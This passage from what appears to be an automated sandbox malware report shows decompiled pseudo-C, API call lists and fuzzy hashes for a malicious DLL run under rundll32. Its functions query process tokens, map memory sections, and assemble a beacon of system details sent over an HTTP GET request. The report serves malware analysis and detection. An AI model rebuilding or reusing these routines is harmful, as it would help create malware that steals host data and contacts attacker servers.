				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04BE33DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04BE61DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                  0x04be422c
                  0x04be422d
                  0x04be422e
                  0x04be422f
                  0x04be4230
                  0x04be4234
                  0x04be423b
                  0x04be424a
                  0x04be424d
                  0x04be4250
                  0x04be4257
                  0x04be425a
                  0x04be425d
                  0x04be4260
                  0x04be4263
                  0x04be426e
                  0x04be4270
                  0x04be4279
                  0x04be4281
                  0x04be4283
                  0x04be4295
                  0x04be429f
                  0x04be42a3
                  0x04be42b2
                  0x04be42b6
                  0x04be42bf
                  0x04be42c7
                  0x04be42c7
                  0x04be42c9
                  0x04be42c9
                  0x04be42d1
                  0x04be42d7
                  0x04be42db
                  0x04be42db
                  0x04be42e6

                  APIs
                  • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04BE4266
                  • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04BE4279
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04BE4295
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04BE42B2
                  • memcpy.NTDLL(?,00000000,0000001C), ref: 04BE42BF
                  • NtClose.NTDLL(?), ref: 04BE42D1
                  • NtClose.NTDLL(00000000), ref: 04BE42DB
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                  • String ID:
                  • API String ID: 2575439697-0
                  • Opcode ID: da4cce526214530c7ced95a734bc54fd402b68fa3cb57d1d0934dbb9a322e286
                  • Instruction ID: 5da584ef05bf60522be16ea66a059a22de57f24aba936ac5e8cca4655166a549
                  • Opcode Fuzzy Hash: da4cce526214530c7ced95a734bc54fd402b68fa3cb57d1d0934dbb9a322e286
                  • Instruction Fuzzy Hash: 732119B1910118BBDF01DFA6CC44EEEBFBDEF88750F104062F905A6111D7759B549BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 72%
                  			E04781E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E0478205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                  0x04781e7f
                  0x04781e86
                  0x04781e87
                  0x04781e88
                  0x04781e89
                  0x04781e8a
                  0x04781e9b
                  0x04781e9f
                  0x04781eb3
                  0x04781eb6
                  0x04781eb9
                  0x04781ec0
                  0x04781ec3
                  0x04781eca
                  0x04781ecd
                  0x04781ed0
                  0x04781ed3
                  0x04781ed8
                  0x04781f13
                  0x04781eda
                  0x04781edd
                  0x04781ee3
                  0x04781ee8
                  0x04781eec
                  0x04781f0a
                  0x04781eee
                  0x04781ef5
                  0x04781f03
                  0x04781f03
                  0x04781eec
                  0x04781f1b

                  APIs
                  • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 04781ED3
                    • Part of subcall function 0478205B: NtMapViewOfSection.NTDLL(00000000,000000FF,04781EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,04781EE8,?), ref: 04782088
                  • memset.NTDLL ref: 04781EF5
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: Section$CreateViewmemset
                  • String ID: @
                  • API String ID: 2533685722-2766056989
                  • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction ID: 01d09041743d1cd47b1d113ea5a2ecb283b34c9f2e3e67b75cb4b51a21d345cf
                  • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction Fuzzy Hash: CB211DB1D00209AFDB11DFA9C8849EEFBB9EF48354F504469E516F3211D731AA458B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04730D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,04730D2E,?,?,?,?,009443B5), ref: 04730D6F
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.776863457.0000000004730000.00000040.00001000.00020000.00000000.sdmp, Offset: 04730000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4730000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateMemoryVirtual
                  • String ID: $J
                  • API String ID: 2167126740-2211503540
                  • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                  • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04730D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,04730D8D,?,?,?,?,?), ref: 04730DC7
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.776863457.0000000004730000.00000040.00001000.00020000.00000000.sdmp, Offset: 04730000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4730000_rundll32.jbxd
                  Similarity
                  • API ID: FreeMemoryVirtual
                  • String ID: M%J
                  • API String ID: 3963845541-4193894376
                  • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                  • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 0478205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E0478205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                  0x0478206d
                  0x04782073
                  0x04782081
                  0x04782088
                  0x0478208d
                  0x04782093
                  0x00000000
                  0x04782094
                  0x00000000

                  APIs
                  • NtMapViewOfSection.NTDLL(00000000,000000FF,04781EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,04781EE8,?), ref: 04782088
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: SectionView
                  • String ID:
                  • API String ID: 1323581903-0
                  • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction ID: d2adaef935edfbe66444e7a449dde0924ac1243658529ebc2703c47aed745816
                  • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction Fuzzy Hash: EBF012B690020CBFDB119FA5CC85CAFBBBDEB44395B104D79B152E1191D630AE089A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE3CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 69%
                  			E04BE3CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				void* _t55;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x4bea3e0; // 0x5609be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x4bea2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x4bea018; // 0xffd58d38
					asm("bswap eax");
					_t34 =  *0x4bea014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x4bea010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x4bea00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x4bea348; // 0xa1d5a8
					_t3 = _t37 + 0x4beb5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x4bea02c,  *0x4bea004, _t112);
					_t40 = E04BE467F();
					_t41 =  *0x4bea348; // 0xa1d5a8
					_t4 = _t41 + 0x4beb575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x4bea348; // 0xa1d5a8
						_t8 = _t93 + 0x4beb508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x4bea348; // 0xa1d5a8
					_t10 = _t45 + 0x4beb246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E04BE472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x4bea348; // 0xa1d5a8
						_t12 = _t88 + 0x4beb8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x4bea2d8, 0, _t105);
					}
					_t106 = E04BE1340();
					if(_t106 != 0) {
						_t83 =  *0x4bea348; // 0xa1d5a8
						_t14 = _t83 + 0x4beb8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x4bea2d8, 0, _t106);
					}
					_t107 =  *0x4bea3cc; // 0x5609600
					_a20 = E04BE6B59(0x4bea00a, _t107 + 4);
					_t53 =  *0x4bea36c; // 0x56095b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x4bea348; // 0xa1d5a8
						_t17 = _t80 + 0x4beb8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t55 = RtlAllocateHeap( *0x4bea2d8, _t109, 0x800); // executed
						_t116 = _t55;
						if(_t116 != _t109) {
							E04BE2915(GetTickCount());
							_t59 =  *0x4bea3cc; // 0x5609600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x4bea3cc; // 0x5609600
							__imp__(_t63 + 0x40);
							_t65 =  *0x4bea3cc; // 0x5609600
							_t66 = E04BE6675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x4be9280);
								_push(_t119);
								_t71 = E04BE7563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E04BE21A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E04BE63F6();
									}
									HeapFree( *0x4bea2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x4bea2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x4bea2d8, _t109, _t116); // executed
						}
						HeapFree( *0x4bea2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x4bea2d8, _t109, _t98); // executed
				}
				return _v16;
			}



























































                  0x04be3ce0
                  0x04be3ce0
                  0x04be3ce0
                  0x04be3cf5
                  0x04be3cf7
                  0x04be3cfc
                  0x04be3d00
                  0x04be3d08
                  0x04be3d0e
                  0x04be3d12
                  0x04be3d1a
                  0x04be3d22
                  0x04be3d22
                  0x04be3d24
                  0x04be3d30
                  0x04be3d3f
                  0x04be3d44
                  0x04be3d47
                  0x04be3d4c
                  0x04be3d4f
                  0x04be3d54
                  0x04be3d57
                  0x04be3d63
                  0x04be3d70
                  0x04be3d72
                  0x04be3d78
                  0x04be3d7d
                  0x04be3d88
                  0x04be3d8a
                  0x04be3d8d
                  0x04be3d93
                  0x04be3d95
                  0x04be3d9e
                  0x04be3da9
                  0x04be3dab
                  0x04be3dae
                  0x04be3dae
                  0x04be3db0
                  0x04be3db5
                  0x04be3dc1
                  0x04be3dc3
                  0x04be3dc6
                  0x04be3dc8
                  0x04be3dcd
                  0x04be3dd1
                  0x04be3dd3
                  0x04be3dd8
                  0x04be3de4
                  0x04be3de6
                  0x04be3df2
                  0x04be3df4
                  0x04be3df4
                  0x04be3dff
                  0x04be3e03
                  0x04be3e05
                  0x04be3e0a
                  0x04be3e16
                  0x04be3e18
                  0x04be3e24
                  0x04be3e26
                  0x04be3e26
                  0x04be3e2c
                  0x04be3e3f
                  0x04be3e43
                  0x04be3e48
                  0x04be3e4c
                  0x04be3e4f
                  0x04be3e54
                  0x04be3e5e
                  0x04be3e60
                  0x04be3e67
                  0x04be3e79
                  0x04be3e7f
                  0x04be3e83
                  0x04be3e8f
                  0x04be3e94
                  0x04be3e9d
                  0x04be3eae
                  0x04be3eb2
                  0x04be3ebb
                  0x04be3ec1
                  0x04be3ec9
                  0x04be3ece
                  0x04be3edb
                  0x04be3ee1
                  0x04be3eed
                  0x04be3ef3
                  0x04be3ef4
                  0x04be3ef9
                  0x04be3eff
                  0x04be3f05
                  0x04be3f0c
                  0x04be3f13
                  0x04be3f19
                  0x04be3f20
                  0x04be3f24
                  0x04be3f2f
                  0x04be3f34
                  0x04be3f3a
                  0x04be3f43
                  0x04be3f43
                  0x04be3f54
                  0x04be3f5a
                  0x04be3f5a
                  0x04be3f64
                  0x04be3f64
                  0x04be3f72
                  0x04be3f72
                  0x04be3f83
                  0x04be3f83
                  0x04be3f91
                  0x04be3f91
                  0x04be3fa2

                  APIs
                  • RtlAllocateHeap.NTDLL ref: 04BE3D08
                  • GetTickCount.KERNEL32 ref: 04BE3D1C
                  • wsprintfA.USER32 ref: 04BE3D6B
                  • wsprintfA.USER32 ref: 04BE3D88
                  • wsprintfA.USER32 ref: 04BE3DA9
                  • wsprintfA.USER32 ref: 04BE3DC1
                  • wsprintfA.USER32 ref: 04BE3DE4
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE3DF4
                  • wsprintfA.USER32 ref: 04BE3E16
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE3E26
                  • wsprintfA.USER32 ref: 04BE3E5E
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04BE3E79
                  • GetTickCount.KERNEL32 ref: 04BE3E89
                  • RtlEnterCriticalSection.NTDLL(056095C0), ref: 04BE3E9D
                  • RtlLeaveCriticalSection.NTDLL(056095C0), ref: 04BE3EBB
                    • Part of subcall function 04BE6675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A0
                    • Part of subcall function 04BE6675: lstrlen.KERNEL32(00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A8
                    • Part of subcall function 04BE6675: strcpy.NTDLL ref: 04BE66BF
                    • Part of subcall function 04BE6675: lstrcat.KERNEL32(00000000,00000000), ref: 04BE66CA
                    • Part of subcall function 04BE6675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66E7
                  • StrTrimA.SHLWAPI(00000000,04BE9280,00000000,05609600), ref: 04BE3EED
                    • Part of subcall function 04BE7563: lstrlen.KERNEL32(05609BD0,00000000,00000000,00000000,04BE3EF9,00000000), ref: 04BE7573
                    • Part of subcall function 04BE7563: lstrlen.KERNEL32(?), ref: 04BE757B
                    • Part of subcall function 04BE7563: lstrcpy.KERNEL32(00000000,05609BD0), ref: 04BE758F
                    • Part of subcall function 04BE7563: lstrcat.KERNEL32(00000000,?), ref: 04BE759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 04BE3F0C
                  • lstrcpy.KERNEL32(00000000,?), ref: 04BE3F13
                  • lstrcat.KERNEL32(00000000,?), ref: 04BE3F20
                  • lstrcat.KERNEL32(00000000,00000000), ref: 04BE3F24
                    • Part of subcall function 04BE21A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04BE2258
                  • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04BE3F54
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04BE3F64
                  • RtlFreeHeap.NTDLL(00000000,00000000,00000000,05609600), ref: 04BE3F72
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE3F83
                  • RtlFreeHeap.NTDLL(00000000,00000000), ref: 04BE3F91
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                  • String ID:
                  • API String ID: 186568778-0
                  • Opcode ID: 43260be9176c8b98f0c8c7206c0d27b720d87d090f7aaf3601b3dfed8f664f70
                  • Instruction ID: de7fdf471e40c13c8f589be84b0994d48428282d4d1cd4e6955dff55a44f1046
                  • Opcode Fuzzy Hash: 43260be9176c8b98f0c8c7206c0d27b720d87d090f7aaf3601b3dfed8f664f70
                  • Instruction Fuzzy Hash: 2D716071500204AFD711AB6BEC48EAA3BECEBCC710B050556F909DB212D73AED09DB75
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 92%
                  			E04BE7B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E04BE33DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E04BE61DA(_t56);
					} else {
						E04BE61DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E04BE7B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E04BE16B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x4bea348; // 0xa1d5a8
						_t15 = _t59 + 0x4beb845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                  0x04be7b83
                  0x04be7b83
                  0x04be7b8e
                  0x04be7b95
                  0x04be7b9d
                  0x04be7ba7
                  0x04be7bad
                  0x04be7bc0
                  0x04be7bd0
                  0x04be7bc2
                  0x04be7bc5
                  0x04be7bca
                  0x04be7bca
                  0x04be7bc0
                  0x04be7be0
                  0x04be7be6
                  0x04be7beb
                  0x04be7cd4
                  0x00000000
                  0x04be7c06
                  0x04be7c09
                  0x04be7c1c
                  0x04be7c22
                  0x04be7c27
                  0x04be7c4f
                  0x04be7c62
                  0x04be7c6c
                  0x04be7c6f
                  0x04be7c75
                  0x04be7c7a
                  0x00000000
                  0x00000000
                  0x04be7c7e
                  0x04be7c8a
                  0x04be7c9b
                  0x04be7c9d
                  0x04be7cae
                  0x04be7cae
                  0x04be7cbe
                  0x00000000
                  0x04be7cd0
                  0x00000000
                  0x04be7cd0
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be7c27

                  APIs
                  • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 04BE7B95
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 04BE7BB8
                  • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 04BE7BE0
                  • InternetSetStatusCallback.WININET(00000000,04BE7B18), ref: 04BE7BF7
                  • ResetEvent.KERNEL32(?), ref: 04BE7C09
                  • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 04BE7C1C
                  • GetLastError.KERNEL32 ref: 04BE7C29
                  • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 04BE7C6F
                  • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 04BE7C8D
                  • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 04BE7CAE
                  • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 04BE7CBA
                  • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 04BE7CCA
                  • GetLastError.KERNEL32 ref: 04BE7CD4
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                  • String ID:
                  • API String ID: 2290446683-0
                  • Opcode ID: a5acc6ff1d458ad6d9efa80cf7746dbbfc97b281b77b6afd73b4da2b3873feb2
                  • Instruction ID: 54d0e7f6a0c678dfbe8eb637177deabd598efa93fe27a45092684e4105ab73ee
                  • Opcode Fuzzy Hash: a5acc6ff1d458ad6d9efa80cf7746dbbfc97b281b77b6afd73b4da2b3873feb2
                  • Instruction Fuzzy Hash: A9418E71500204BFD7319FA7DC48E6B7BBDEBC9704B104999F602D6190EB35AA55CB31
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
